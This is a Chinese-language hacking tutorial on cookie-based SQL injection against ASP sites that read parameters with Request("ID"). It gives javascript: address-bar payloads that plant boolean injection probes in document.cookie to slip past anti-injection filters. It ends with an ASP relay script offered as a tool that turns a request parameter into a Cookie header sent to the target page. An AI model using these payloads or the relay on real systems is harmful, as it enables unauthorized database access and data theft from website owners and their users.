Cookies注入

现在很多网站都加了防注入系统代码，你输入注入语句将无法注入 感觉通用的防注入系统不错，但大部分防注入系统都没有注意到过滤Cookies的问题！所以就有了Cookies注入

原理

我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP，你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)! 这就是我们用于读取用户发给WEB服务器的指定键中的值! 我们有时为了简化代码，会写成
ID=Request("ID") 这样写法是简单了，但问题就来了~~~

我们先看WEB服务是怎样读取数据的,他是先取GET中的数据，没有再取POST中的数据,还会去取Cookies中的数据，我们再看看防注入系统,他会检测GET和POST中的数据，如果有特殊字符(这里当然是注入字符了)! 就禁止数据的提交! 但他没有检测Cookies的数据！

测试

那我们怎样测试是否有Cookies注入问题~ 请先看下面的的地址(示例用,不是真的)

    http://*****.2008.***.com/1.asp?id=88  

如果我们只输 .2008..com/1.asp，就不能看到预期的数据，因为没有参数。我们想知道有没有Cookies注入问题(也就是有没有Request("XXX")格式问题), 先用IE输入 .2008..com/1.asp加载网页,显示不正常（没有输参数的原因)，之后在地址栏输入框再输入

    javascript:alert(document.cookie="id="+escape("88"));

按回车,你会看到弹出一个对话框 内容是: id=88，你刷新网页，如果正常显示，表示是服务端用Request("ID") 这样的格式收集数据~~~~,这种情况就可以试Cookies注入了

    javascript:alert(document.cookie="id="+escape("88 and 2=2"));

刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

    javascript:alert(document.cookie="id="+escape("88 and 3=2"));

刷新，如果不正常显示，这就表示有注入了!

如果程序员显式使用
Request.QueryString
或
Request.Form

获取参数的话，是无法利用Cookies绕过防注入系统进行注入的，因为服务程序是直截从GET或POST中读取数据的，就无法利用了！~

---

后记

Cookie注入已不算是什么新技术，但还算是很管用的方法,或者有一天，防注入系统会加入Cookies注入检测!

当然 上面说的只是一种思路 Cookies注入还有很多形式 各位TX可以自己发散思维，同时也说一下 cookies注入不是王道,很多时候不能用。

最后附上方便Cookies注入的工具，用来转接Cookies注入的 方便注入的过程

    <%
    Str="xxxid="&escape(request("Holmesian"))
    Url="http://*****.2008.***.com/go.asp"
    response.write PostData(Url,Str)
    Function PostData(PostUrl,PostCok)  
    Dim Http
    Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
    With Http
    .Open "GET",PostUrl,False
    .SetRequestHeader "Cookie",PostCok
    .Send
    PostData = .ResponseBody
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
    End Function
    Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = ""
    For I = 1 To LenB(vIn)
    ThisCharCode = AscB(MidB(vIn, I, 1))
    If ThisCharCode < &H80 Then
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn, I + 1, 1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    I = I + 1
    End If
    Next
    bytes2BSTR = strReturn
    End Function